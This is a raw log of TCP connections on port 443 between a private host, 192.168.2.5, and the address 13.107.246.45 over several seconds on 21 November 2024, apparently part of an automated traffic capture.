Nov 21, 2024 14:27:35.416743994 CET	443	49940	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.437777042 CET	443	49936	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.438283920 CET	49936	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.438323021 CET	443	49936	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.438785076 CET	49936	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.438797951 CET	443	49936	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.721647978 CET	49934	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.721663952 CET	443	49934	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.882322073 CET	443	49936	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.884289026 CET	443	49936	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.884413004 CET	443	49936	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.884506941 CET	49936	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.884594917 CET	49936	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.884594917 CET	49936	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.884639025 CET	443	49936	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.884665012 CET	443	49936	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.887288094 CET	49941	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.887310028 CET	443	49941	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:35.887378931 CET	49941	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.887500048 CET	49941	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:35.887507915 CET	443	49941	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:36.541989088 CET	443	49937	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:36.542520046 CET	49937	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:36.542576075 CET	443	49937	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:36.542974949 CET	49937	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:36.542988062 CET	443	49937	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:36.985433102 CET	443	49937	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:36.988590956 CET	443	49937	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:36.988661051 CET	49937	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:36.988693953 CET	443	49937	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:36.988719940 CET	443	49937	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:36.988769054 CET	49937	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:36.988825083 CET	49937	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:36.988843918 CET	443	49937	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:36.988858938 CET	49937	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:36.988866091 CET	443	49937	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:36.991512060 CET	49942	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:36.991559982 CET	443	49942	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:36.991631985 CET	49942	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:36.991775990 CET	49942	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:36.991795063 CET	443	49942	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.014236927 CET	443	49939	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.014786959 CET	49939	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.014875889 CET	443	49939	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.015244961 CET	49939	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.015259027 CET	443	49939	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.063057899 CET	443	49938	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.063517094 CET	49938	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.063558102 CET	443	49938	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.064090014 CET	49938	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.064099073 CET	443	49938	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.203876019 CET	443	49940	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.204400063 CET	49940	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.204436064 CET	443	49940	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.204852104 CET	49940	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.204858065 CET	443	49940	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.450959921 CET	443	49939	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.481877089 CET	443	49939	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.481991053 CET	49939	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.482012987 CET	443	49939	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.482098103 CET	49939	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.485145092 CET	49939	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.485186100 CET	443	49939	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.485215902 CET	49939	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.485230923 CET	443	49939	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.515242100 CET	443	49938	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.515435934 CET	443	49938	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.515513897 CET	49938	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.522691965 CET	49938	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.522711992 CET	443	49938	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.522726059 CET	49938	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.522735119 CET	443	49938	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.533548117 CET	49943	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.533571005 CET	443	49943	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.533634901 CET	49943	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.620332956 CET	49943	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.620349884 CET	443	49943	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.622320890 CET	49944	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.622354984 CET	443	49944	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.622416973 CET	49944	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.622539043 CET	49944	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.622550011 CET	443	49944	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.656158924 CET	443	49940	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.659240007 CET	443	49940	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.659351110 CET	49940	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.659414053 CET	49940	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.659414053 CET	49940	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.659455061 CET	443	49940	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.659481049 CET	443	49940	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.662053108 CET	49945	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.662101984 CET	443	49945	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.662198067 CET	49945	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.662352085 CET	49945	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.662367105 CET	443	49945	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.677886963 CET	443	49941	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.678287983 CET	49941	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.678296089 CET	443	49941	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:37.678735971 CET	49941	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:37.678739071 CET	443	49941	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:38.131514072 CET	443	49941	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:38.131536961 CET	443	49941	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:38.131669998 CET	49941	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:38.131683111 CET	443	49941	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:38.131973982 CET	49941	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:38.131978035 CET	443	49941	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:38.131990910 CET	49941	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:38.132222891 CET	443	49941	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:38.132273912 CET	443	49941	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:38.132322073 CET	49941	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:38.134952068 CET	49946	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:38.134988070 CET	443	49946	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:38.135059118 CET	49946	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:38.135202885 CET	49946	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:38.135219097 CET	443	49946	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:38.907006979 CET	443	49942	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:38.908970118 CET	49942	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:38.909008026 CET	443	49942	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:38.909492016 CET	49942	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:38.909504890 CET	443	49942	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.360363007 CET	443	49942	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.363449097 CET	443	49942	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.363492966 CET	443	49942	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.363759041 CET	49942	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.363759041 CET	49942	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.363759041 CET	49942	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.363759041 CET	49942	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.363863945 CET	443	49942	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.365678072 CET	443	49943	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.366183996 CET	49943	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.366194963 CET	443	49943	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.366796017 CET	49947	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.366827965 CET	443	49947	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.366846085 CET	49943	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.366849899 CET	443	49943	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.366894007 CET	49947	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.367000103 CET	49947	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.367006063 CET	443	49947	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.509660959 CET	443	49944	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.510113001 CET	49944	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.510135889 CET	443	49944	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.510576963 CET	49944	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.510581970 CET	443	49944	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.518146992 CET	443	49945	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.518493891 CET	49945	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.518537998 CET	443	49945	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.518862009 CET	49945	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.518874884 CET	443	49945	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.675280094 CET	49942	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.675309896 CET	443	49942	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.802798033 CET	443	49943	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.806324959 CET	443	49943	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.806379080 CET	443	49943	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.806377888 CET	49943	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.806457043 CET	49943	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.806484938 CET	49943	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.806499004 CET	443	49943	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.806512117 CET	49943	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.806516886 CET	443	49943	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.810884953 CET	49948	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.810928106 CET	443	49948	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.811008930 CET	49948	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.811220884 CET	49948	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.811239958 CET	443	49948	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.963054895 CET	443	49944	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.964864016 CET	443	49945	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.966121912 CET	443	49944	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.966212988 CET	49944	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.967948914 CET	443	49945	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.968076944 CET	49945	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.985459089 CET	49944	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:39.985490084 CET	443	49944	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:39.987262011 CET	443	49946	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:40.030421972 CET	49946	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.030441999 CET	443	49946	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:40.031662941 CET	49946	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.031670094 CET	443	49946	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:40.031863928 CET	49945	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.031905890 CET	443	49945	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:40.031923056 CET	49945	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.031932116 CET	443	49945	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:40.145486116 CET	49949	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.145536900 CET	443	49949	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:40.145656109 CET	49949	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.162098885 CET	49950	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.162142038 CET	443	49950	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:40.162245035 CET	49950	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.162328959 CET	49949	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.162344933 CET	443	49949	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:40.166147947 CET	49950	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.166162014 CET	443	49950	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:40.440872908 CET	443	49946	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:40.444531918 CET	443	49946	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:40.444611073 CET	49946	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.444672108 CET	49946	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.444686890 CET	443	49946	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:40.444700003 CET	49946	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.444705009 CET	443	49946	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:40.448189020 CET	49951	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.448224068 CET	443	49951	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:40.448307037 CET	49951	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.448487043 CET	49951	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:40.448508024 CET	443	49951	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.092910051 CET	443	49947	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.093533993 CET	49947	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:41.093554974 CET	443	49947	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.093947887 CET	49947	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:41.093954086 CET	443	49947	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.528214931 CET	443	49947	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.531307936 CET	443	49947	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.531377077 CET	49947	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:41.531404972 CET	443	49947	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.531510115 CET	49947	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:41.531529903 CET	443	49947	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.531558990 CET	49947	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:41.531605005 CET	443	49947	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.534084082 CET	49952	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:41.534121037 CET	443	49952	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.534190893 CET	49952	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:41.534337997 CET	49952	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:41.534360886 CET	443	49952	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.656119108 CET	443	49948	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.656662941 CET	49948	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:41.656687975 CET	443	49948	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.657068968 CET	49948	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:41.657074928 CET	443	49948	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.949347973 CET	443	49950	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.950001001 CET	49950	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:41.950038910 CET	443	49950	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.950437069 CET	443	49949	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.950614929 CET	49950	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:41.950620890 CET	443	49950	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.950841904 CET	49949	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:41.950882912 CET	443	49949	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:41.951328993 CET	49949	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:41.951339006 CET	443	49949	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.110923052 CET	443	49948	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.114134073 CET	443	49948	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.117336988 CET	49948	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.117428064 CET	49948	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.117428064 CET	49948	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.117475033 CET	443	49948	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.117547035 CET	443	49948	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.120754004 CET	49954	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.120789051 CET	443	49954	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.120990992 CET	49954	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.121165037 CET	49954	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.121171951 CET	443	49954	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.230591059 CET	443	49951	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.234460115 CET	49951	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.234520912 CET	443	49951	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.234930038 CET	49951	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.234942913 CET	443	49951	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.393369913 CET	443	49950	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.396548986 CET	443	49950	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.396572113 CET	443	49949	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.396673918 CET	49950	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.399662971 CET	443	49949	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.399744034 CET	443	49949	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.399759054 CET	49949	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.399805069 CET	49949	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.404082060 CET	49950	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.404104948 CET	443	49950	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.404117107 CET	49950	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.404122114 CET	443	49950	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.405375957 CET	49949	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.405397892 CET	443	49949	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.405411959 CET	49949	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.405419111 CET	443	49949	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.409838915 CET	49955	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.409883976 CET	443	49955	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.409950972 CET	49955	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.410450935 CET	49956	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.410487890 CET	443	49956	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.410536051 CET	49956	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.410767078 CET	49955	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.410784960 CET	443	49955	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.410861015 CET	49956	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.410872936 CET	443	49956	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.675887108 CET	443	49951	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.679127932 CET	443	49951	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.679186106 CET	443	49951	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.679219961 CET	49951	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.679255962 CET	49951	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.703639030 CET	49951	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.703674078 CET	443	49951	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.703695059 CET	49951	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.703704119 CET	443	49951	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.873152018 CET	49957	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.873199940 CET	443	49957	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:42.873262882 CET	49957	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.877679110 CET	49957	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:42.877716064 CET	443	49957	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:43.276863098 CET	443	49952	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:43.277553082 CET	49952	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:43.277580976 CET	443	49952	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:43.278007984 CET	49952	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:43.278012991 CET	443	49952	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:43.714802980 CET	443	49952	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:43.717808008 CET	443	49952	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:43.717900991 CET	49952	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:43.717982054 CET	49952	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:43.717982054 CET	49952	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:43.718025923 CET	443	49952	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:43.718055010 CET	443	49952	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:43.721036911 CET	49958	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:43.721131086 CET	443	49958	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:43.721235037 CET	49958	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:43.721369982 CET	49958	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:43.721390009 CET	443	49958	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:43.967782974 CET	443	49954	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:43.968441010 CET	49954	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:43.968468904 CET	443	49954	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:43.968880892 CET	49954	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:43.968887091 CET	443	49954	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.215445042 CET	443	49955	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.218323946 CET	49955	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.218357086 CET	443	49955	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.218803883 CET	49955	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.218808889 CET	443	49955	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.261070967 CET	443	49956	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.261490107 CET	49956	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.261514902 CET	443	49956	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.261898994 CET	49956	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.261904955 CET	443	49956	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.420496941 CET	443	49954	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.423721075 CET	443	49954	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.423798084 CET	49954	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.423854113 CET	49954	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.423872948 CET	443	49954	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.423888922 CET	49954	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.423896074 CET	443	49954	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.426734924 CET	49959	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.426762104 CET	443	49959	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.426850080 CET	49959	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.427025080 CET	49959	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.427037001 CET	443	49959	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.658590078 CET	443	49955	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.661804914 CET	443	49955	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.661875010 CET	49955	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.661931038 CET	49955	443	192.168.2.5	13.107.246.45
